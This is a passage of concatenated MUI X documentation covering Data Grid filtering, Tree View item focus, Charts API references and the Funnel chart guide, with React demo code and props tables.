```

## Single and multi-filters

:::warning
The Data Grid can only filter rows according to one criterion at a time.

To use [multi-filters](/x/react-data-grid/filtering/multi-filters/), you need to upgrade to the [Pro plan](/x/introduction/licensing/#pro-plan) or above.
:::

## Pass filters to the Data Grid

### Structure of the model

The full typing details can be found on the [GridFilterModel API page](/x/api/data-grid/grid-filter-model/).

The filter model is composed of a list of `items` and a `logicOperator`:

#### The `items`

A filter item represents a filtering rule and is composed of several elements:

- `filterItem.field`: the field on which the rule applies.
- `filterItem.value`: the value to look for.
- `filterItem.operator`: name of the operator method to use (for example _contains_), matches the `value` key of the operator object.
- `filterItem.id` ([<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')): required when multiple filter items are used.

:::info
Some operators do not need any value (for instance the `isEmpty` operator of the `string` column).
:::

#### The `logicOperator` [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The `logicOperator` tells the Data Grid if a row should satisfy all (`AND`) filter items or at least one (`OR`) in order to be considered valid.

```ts
// Example 1: get rows with rating > 4 OR isAdmin = true
const filterModel: GridFilterModel = {
  items: [
    { id: 1, field: 'rating', operator: '>', value: '4' },
    { id: 2, field: 'isAdmin', operator: 'is', value: 'true' },
  ],
  logicOperator: GridLogicOperator.Or,
};

// Example 2: get rows with rating > 4 AND isAdmin = true
const filterModel: GridFilterModel = {
  items: [
    { id: 1, field: 'rating', operator: '>', value: '4' },
    { id: 2, field: 'isAdmin', operator: 'is', value: 'true' },
  ],
  logicOperator: GridLogicOperator.And,
};
```

If no `logicOperator` is provided, the Data Grid will use `GridLogicOperator.Or` by default.

### Initialize the filters

To initialize the filters without controlling them, provide the model to the `initialState` prop.

```jsx
<DataGrid
  initialState={{
    filter: {
      filterModel: {
        items: [{ field: 'rating', operator: '>', value: '2.5' }],
      },
    },
  }}
/>
```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function InitialFilters() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        showToolbar
        initialState={{
          ...data.initialState,
          filter: {
            ...data.initialState?.filter,
            filterModel: {
              items: [
                {
                  field: 'rating',
                  operator: '>',
                  value: '2.5',
                },
              ],
            },
          },
        }}
      />
    </div>
  );
}

```

### Controlled filters

Use the `filterModel` prop to control the filter applied on the rows.

You can use the `onFilterModelChange` prop to listen to changes to the filters and update the prop accordingly.

```jsx
<DataGrid
  filterModel={{
    items: [{ field: 'rating', operator: '>', value: '2.5' }],
  }}
/>
```

```tsx
import * as React from 'react';
import { DataGrid, GridFilterModel } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function ControlledFilters() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [
      {
        field: 'rating',
        operator: '>',
        value: '2.5',
      },
    ],
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        showToolbar
        filterModel={filterModel}
        onFilterModelChange={(newFilterModel) => setFilterModel(newFilterModel)}
      />
    </div>
  );
}

```

## Disable the filters

### For all columns

Filters are enabled by default, but you can easily disable this feature by setting the `disableColumnFilter` prop.

```jsx
<DataGrid disableColumnFilter />
```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableFilteringGridAllColumns() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} disableColumnFilter />
    </div>
  );
}

```

### For some columns

To disable the filter of a single column, set the `filterable` property in `GridColDef` to `false`.

In the example below, the _rating_ column cannot be filtered.

```js
<DataGrid columns={[...columns, { field: 'rating', filterable: false }]} />
```

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableFilteringGridSomeColumns() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((col) =>
        col.field === 'rating' ? { ...col, filterable: false } : col,
      ),
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} columns={columns} />
    </div>
  );
}

```

### Filter non-filterable columns programmatically

You can initialize the `filterModel`, set the `filterModel` prop, or use the API method `apiRef.current.setFilterModel` to set the filters for non-filterable columns. These filters will be applied but will be read-only on the UI and the user won't be able to change them.

```jsx
const columns = [
  { field: 'name', filterable: false },
  ...otherColumns,
]

<DataGrid
  filterModel={{
    items: [{ field: 'name', operator: 'contains', value: 'a' }],
  }}
  columns={columns}
/>
```

```tsx
import * as React from 'react';
import { DataGrid, GridFilterModel } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function ReadOnlyFilters() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((column) => ({
        ...column,
        filterable: column.field !== 'name',
      })),
    [data.columns],
  );

  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [
      {
        field: 'name',
        operator: 'contains',
        value: 'a',
      },
    ],
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        columns={columns}
        showToolbar
        filterModel={filterModel}
        onFilterModelChange={(newFilterModel) => setFilterModel(newFilterModel)}
      />
    </div>
  );
}

```

## Ignore diacritics (accents)

When filtering, diacritics—accented letters such as _é_ or _à_—are considered distinct from their standard counterparts (_e_ and _a_).
This can lead to a poor experience when users expect them to be treated as equivalent.

If your dataset includes diacritics that need to be ignored, you can pass the `ignoreDiacritics` prop to the Data Grid:

```tsx
<DataGrid ignoreDiacritics />
```

:::info
The `ignoreDiacritics` prop affects all columns and filter types, including [standard filters](/x/react-data-grid/filtering/), [quick filters](/x/react-data-grid/filtering/quick-filter/), and [header filters](/x/react-data-grid/filtering/header-filters/).
:::

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the filtering feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-filter-api.json';

export default function FilterApiNoSnap() {
  return <ApiDocs api={api} />;
}

```

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Filtering"}}

More information about the selectors and how to use them on the [dedicated page](/x/react-data-grid/state/#access-the-state)

## API

- [GridFilterForm](/x/api/data-grid/grid-filter-form/)
- [GridFilterItem](/x/api/data-grid/grid-filter-item/)
- [GridFilterModel](/x/api/data-grid/grid-filter-model/)
- [GridFilterOperator](/x/api/data-grid/grid-filter-operator/)
- [GridFilterPanel](/x/api/data-grid/grid-filter-panel/)
- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-tree-view/rich-tree-view/focus.md

# Source: https://mui.com/x/react-tree-view/simple-tree-view/focus.md

---
productId: x-tree-view
title: Simple Tree View - Focus
components: SimpleTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Simple Tree View - Focus

Learn how to focus Tree View items.

## Imperative API

To use the `apiRef` object, you need to initialize it using the `useSimpleTreeViewApiRef()` hook as follows:

```tsx
const apiRef = useSimpleTreeViewApiRef();

return <SimpleTreeView apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with the Tree View.

### Focus a specific item

Use the `focusItem()` API method to focus a specific item.

```ts
apiRef.current.focusItem(
  // The DOM event that triggers the change
  event,
  // The id of the item to focus
  itemId,
);
```

:::info
This method only works with items that are currently visible.
Calling `apiRef.focusItem()` on an item with a collapsed parent has no effect.
:::

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodFocusItem() {
  const apiRef = useSimpleTreeViewApiRef();
  const handleButtonClick = (event: React.SyntheticEvent) => {
    apiRef.current?.focusItem(event, 'pickers');
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleButtonClick}>Focus pickers item</Button>
      </div>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView apiRef={apiRef}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/api/charts/focused-funnel-section.md

# FocusedFunnelSection API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Funnel

## Import

```jsx
import { FocusedFunnelSection } from '@mui/x-charts-pro/FunnelChart';
// or
import { FocusedFunnelSection } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/FunnelChart/FocusedFunnelSection.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/FunnelChart/FocusedFunnelSection.tsx)

---

# Source: https://mui.com/x/api/charts/focused-heatmap-cell.md

# FocusedHeatmapCell API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Heatmap

## Import

```jsx
import { FocusedHeatmapCell } from '@mui/x-charts-pro/Heatmap';
// or
import { FocusedHeatmapCell } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/Heatmap/FocusedHeatmapCell.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/Heatmap/FocusedHeatmapCell.tsx)

---

# Source: https://mui.com/x/api/charts/focused-radar-mark.md

# FocusedRadarMark API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { FocusedRadarMark } from '@mui/x-charts/RadarChart';
// or
import { FocusedRadarMark } from '@mui/x-charts';
// or
import { FocusedRadarMark } from '@mui/x-charts-pro';
// or
import { FocusedRadarMark } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/FocusedRadarMark.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/FocusedRadarMark.tsx)

---

# Source: https://mui.com/x/api/charts/focused-sankey-link.md

# FocusedSankeyLink API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { FocusedSankeyLink } from '@mui/x-charts-pro/SankeyChart';
// or
import { FocusedSankeyLink } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/FocusedSankeyLink.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/FocusedSankeyLink.tsx)

---

# Source: https://mui.com/x/api/charts/focused-sankey-node.md

# FocusedSankeyNode API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { FocusedSankeyNode } from '@mui/x-charts-pro/SankeyChart';
// or
import { FocusedSankeyNode } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/FocusedSankeyNode.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/FocusedSankeyNode.tsx)

---

# Source: https://mui.com/x/api/charts/funnel-chart.md

# FunnelChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Export
- Charts - Funnel
- Charts - Pyramid

## Import

```jsx
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
// or
import { FunnelChart } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | - | No |  |
| categoryAxis | `{ categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'band', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'log', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'symlog', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'pow', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'sqrt', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'time', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'utc', size?: number, tickLabelStyle?: object, tickSize?: number } \| { categories?: Array<string>, disableLine?: bool, disableTicks?: bool, id?: number \| string, position?: 'bottom' \| 'left' \| 'none' \| 'right' \| 'top', scaleType?: 'linear', size?: number, tickLabelStyle?: object, tickSize?: number }` | `{ position: 'none' }` | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| gap | `number` | `0` | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'funnel' }>` | - | No |  |
| hideLegend | `bool` | `false` | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'funnel' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, funnelItemIdentifier: FunnelItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'funnel' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| funnelSection | `FunnelSection` | - | Custom component for funnel section. |
| funnelSectionLabel | `FunnelSectionLabel` | - | Custom component for funnel section label. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/FunnelChart/FunnelChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/FunnelChart/FunnelChart.tsx)

---

# Source: https://mui.com/x/api/charts/funnel-plot.md

# FunnelPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Funnel
- Charts - Pyramid

## Import

```jsx
import { FunnelPlot } from '@mui/x-charts-pro/FunnelChart';
// or
import { FunnelPlot } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, funnelItemIdentifier: FunnelItemIdentifier) => void` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/FunnelChart/FunnelPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/FunnelChart/FunnelPlot.tsx)

---

# Source: https://mui.com/x/api/charts/funnel-series.md

# FunnelSeries API

## Import

```jsx
import { FunnelSeries } from '@mui/x-charts-premium'
// or
import { FunnelSeries } from '@mui/x-charts-pro'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| data | `Readonly<FunnelValueType[]>` | - | Yes |  |
| type | `'funnel'` | - | Yes |  |
| borderRadius | `number` | `8` | No |  |
| curve | `FunnelCurveType` | `'linear'` | No |  |
| funnelDirection | `'increasing' \| 'decreasing' \| 'auto'` | `'auto'` | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| layout | `'horizontal' \| 'vertical'` | `'vertical'` | No |  |
| sectionLabel | `FunnelLabelOptions \| ((item: FunnelItem) => FunnelLabelOptions \| false) \| false` | `{ vertical: 'middle', horizontal: 'center' }` | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |
| variant | `'filled' \| 'outlined'` | `'filled'` | No |  |
| xAxisId | `AxisId` | - | No |  |
| yAxisId | `AxisId` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/funnel.md

---
title: React Funnel chart
productId: x-charts
components: FunnelChart, FunnelPlot, FocusedFunnelSection
---

# Charts - Funnel [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Funnel charts let you express quantity evolution along a process, such as audience engagement, population education levels, or yields of multiple processes.

## Basics

Funnel charts series must contain a `data` property containing an array of objects.
Each object corresponds to a section of the funnel.
It must contain a property `value` and can have other optional properties, like `label` and `id`.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function BasicFunnel() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

### Display legends

The funnel chart displays a legend by default.
The only requirement is to provide a `label` value in the data objects.

To hide the legend, set the `hideLegend` prop to `true`.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

export default function FunnelLegend() {
  const [hideLegend, setHideLegend] = React.useState(false);

  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Controls hideLegend={hideLegend} setHideLegend={setHideLegend} />
      <FunnelChart
        series={[
          {
            data: [
              { value: 200, label: 'A' },
              { value: 180, label: 'B' },
              { value: 90, label: 'C' },
              { value: 50, label: 'D' },
            ],
          },
        ]}
        hideLegend={hideLegend}
        {...funnelProps}
      />
    </Box>
  );
}

const funnelProps = {
  height: 300,
  slotProps: { legend: { position: { vertical: 'bottom' } } },
} as const;

function Controls({
  hideLegend,
  setHideLegend,
}: {
  hideLegend: boolean;
  setHideLegend: React.Dispatch<React.SetStateAction<boolean>>;
}) {
  return (
    <FormControlLabel
      control={
        <Checkbox
          checked={hideLegend}
          onChange={() => setHideLegend((prev) => !prev)}
        />
      }
      label="Hide legend"
    />
  );
}

```

## Pyramid Chart

The pyramid chart is a variation of the funnel chart.

To create a pyramid chart, set the `curve` property to `pyramid` in the series.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function PyramidFunnel() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            curve: 'pyramid',
            data: [{ value: 10 }, { value: 90 }, { value: 180 }, { value: 400 }],
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

## Labels

The funnel chart displays labels by default.
It shows the `value` of the data item in each section.
To format the labels, a `valueFormatter` function can be provided.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelLabels() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data: [
              { value: 200, label: 'A' },
              { value: 180, label: 'B' },
              { value: 90, label: 'C' },
              { value: 50, label: 'D' },
            ],
            valueFormatter: (item, context) =>
              `${item.label}${context.dataIndex} ${item.value}.00`,
          },
        ]}
        {...funnelProps}
      />
    </Box>
  );
}

const funnelProps = {
  height: 300,
  hideLegend: true,
} as const;

```

### Styling labels

The labels can be styled by using the `funnelSectionClasses.label` helper.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart, funnelSectionClasses } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelLabelStyling() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
          },
        ]}
        sx={{
          [`& .${funnelSectionClasses.label}`]: {
            fill: 'white',
            textShadow: '1px 1px 2px rgba(0,0,0,0.5)',
          },
        }}
        {...funnelProps}
      />
    </Box>
  );
}

const funnelProps = {
  height: 300,
  hideLegend: true,
} as const;

```

### Positioning labels

The labels can be positioned relative to the section they represent.
The `sectionLabel` property accepts an object with the following properties:

- `position.vertical`: The vertical position of the label. It can be `top`, `center` or `bottom`.
- `position.horizontal`: The horizontal position of the label. It can be `start`, `middle` or `end`.
- `margin`: The margin between the label and the section.
- `dominantBaseline`: The vertical alignment of the text. It can be `auto`, `baseline`, `text-before-edge`, `text-after-edge`, `central`, `hanging`, or `middle`.
- `textAnchor`: The horizontal alignment of the text. It can be `start`, `middle` or `end`.

The `sectionLabel` property can be set to `false` to hide the labels.
It also accepts a function that receives the data object and should return the label configuration.

```tsx
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Stack from '@mui/material/Stack';

export default function FunnelLabelPositioning() {
  return (
    <ChartsUsageDemo
      componentName="Funnel label positioning"
      data={
        {
          horizontal: {
            knob: 'select',
            defaultValue: 'start',
            options: ['start', 'center', 'end'],
          },
          vertical: {
            knob: 'select',
            defaultValue: 'bottom',
            options: ['top', 'middle', 'bottom'],
          },
          textAnchor: {
            knob: 'select',
            defaultValue: 'start',
            options: ['start', 'middle', 'end'],
          },
          dominantBaseline: {
            knob: 'select',
            defaultValue: 'middle',
            options: [
              'auto',
              'hanging',
              'middle',
              'central',
              'text-after-edge',
              'text-before-edge',
            ],
          },
          offsetX: {
            knob: 'slider',
            defaultValue: -10,
            min: -50,
            max: 50,
          },
          offsetY: {
            knob: 'slider',
            defaultValue: 10,
            min: -50,
            max: 50,
          },
          hide: {
            knob: 'switch',
          },
        } as const
      }
      renderDemo={(props) => (
        <Stack sx={{ width: '100%' }}>
          <FunnelChart
            series={[
              {
                layout: 'vertical',
                data: [
                  { value: 200, label: 'A' },
                  { value: 180, label: 'B' },
                  { value: 90, label: 'C' },
                  { value: 50, label: 'D' },
                ],
                sectionLabel: props.hide
                  ? false
                  : {
                      position: {
                        horizontal: props.horizontal,
                        vertical: props.vertical,
                      },
                      textAnchor: props.textAnchor,
                      dominantBaseline: props.dominantBaseline,
                      offset: {
                        x: props.offsetX,
                        y: props.offsetY,
                      },
                    },
              },
            ]}
            height={300}
            slotProps={{ legend: { direction: 'vertical' } }}
          />
        </Stack>
      )}
      getCode={({ props }) => {
        if (props.hide) {
          return `import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

<FunnelChart
  series={[
    {
      sectionLabel: false
    }
  ]}
/>
`;
        }

        return `import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

<FunnelChart
  // Space to display the labels
  series={[
    {
      sectionLabel: {
        position: {
          horizontal: '${props.horizontal}',
          vertical: '${props.vertical}'
        },
        textAnchor: '${props.textAnchor}',
        dominantBaseline: '${props.dominantBaseline}',
        offset: {
          x: ${props.offsetX},
          y: ${props.offsetY}
        }
      }
    }
  ]}
/>
`;
      }}
    />
  );
}

```

## Styling

### Curve interpolation

The interpolation between data points can be customized by the `curve` property.
This property expects one of the following string values, corresponding to the interpolation method: `'linear'`, `'linear-sharp'`, `'bump'`, `'pyramid'`, `'step'` and `'step-pyramid'`.

This series property adds the option to control the interpolation of a series.

```tsx
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Stack from '@mui/material/Stack';
import { populationByEducationLevelPercentageSeries } from './populationByEducationLevel';

const curveTypes = [
  'bump',
  'linear',
  'linear-sharp',
  'step',
  'pyramid',
  'step-pyramid',
] as const;

export default function FunnelCurves() {
  return (
    <ChartsUsageDemo
      componentName="Funnel curve"
      data={
        {
          curveType: {
            knob: 'radio',
            options: curveTypes,
            defaultValue: curveTypes[0],
          },
          gap: {
            knob: 'slider',
            defaultValue: 0,
            min: 0,
            max: 20,
          },
          borderRadius: {
            knob: 'slider',
            defaultValue: 0,
            min: 0,
            max: 20,
          },
          variant: {
            knob: 'select',
            options: ['filled', 'outlined'],
            defaultValue: 'filled',
          },
        } as const
      }
      renderDemo={(props) => (
        <Stack sx={{ width: '100%' }}>
          <FunnelChart
            series={[
              {
                curve: props.curveType,
                borderRadius: props.borderRadius,
                layout: 'vertical',
                variant: props.variant,
                funnelDirection: 'increasing',
                ...populationByEducationLevelPercentageSeries,
              },
            ]}
            gap={props.gap}
            height={300}
            slotProps={{ legend: { direction: 'vertical' } }}
          />
          <FunnelChart
            series={[
              {
                curve: props.curveType,
                borderRadius: props.borderRadius,
                layout: 'horizontal',
                variant: props.variant,
                funnelDirection: 'increasing',
                ...populationByEducationLevelPercentageSeries,
              },
            ]}
            gap={props.gap}
            height={300}
            slotProps={{ legend: { direction: 'vertical' } }}
          />
        </Stack>
      )}
      getCode={({ props }) => {
        return `import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

<FunnelChart
  series={[{ 
    curve: '${props.curveType}',
    variant: '${props.variant}',
    ${props.curveType === 'bump' ? '// ' : ''}borderRadius: ${props.borderRadius},
  }]}
  gap={${props.gap}}
/>
`;
      }}
